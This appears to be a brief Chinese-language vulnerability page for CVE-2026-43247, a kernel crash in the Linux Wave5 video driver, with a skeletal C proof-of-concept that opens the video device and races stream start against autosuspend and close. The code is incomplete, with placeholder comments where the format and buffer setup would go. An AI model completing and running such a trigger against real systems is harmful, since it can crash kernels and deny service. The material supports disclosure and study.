CVE-2026-43247 Linux内核Wave5驱动内核崩溃漏洞

/* * PoC Concept for CVE-2026-43247 * Trigger: Race condition between autosuspend and v4l2 close/queue operations. */ #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/videodev2.h> int main() { int fd = open("/dev/video0", O_RDWR); if (fd < 0) return 1; struct v4l2_format fmt = {0}; fmt.type = V4L2_BUF_TYPE_VIDEO_OUTPUT_MPLANE; // Setup format for H265 decoding (wave5 supported) // ... set fmt ... ioctl(fd, VIDIOC_S_FMT, &fmt); // Start streaming to trigger autosuspend logic race ioctl(fd, VIDIOC_STREAMON, &(int){V4L2_BUF_TYPE_VIDEO_OUTPUT_MPLANE}); // Simulate delay or operations that trigger autosuspend timeout sleep(2); // Queue buffers or close device while autosuspend might kick in // ioctl(fd, VIDIOC_QBUF, ...); close(fd); return 0; }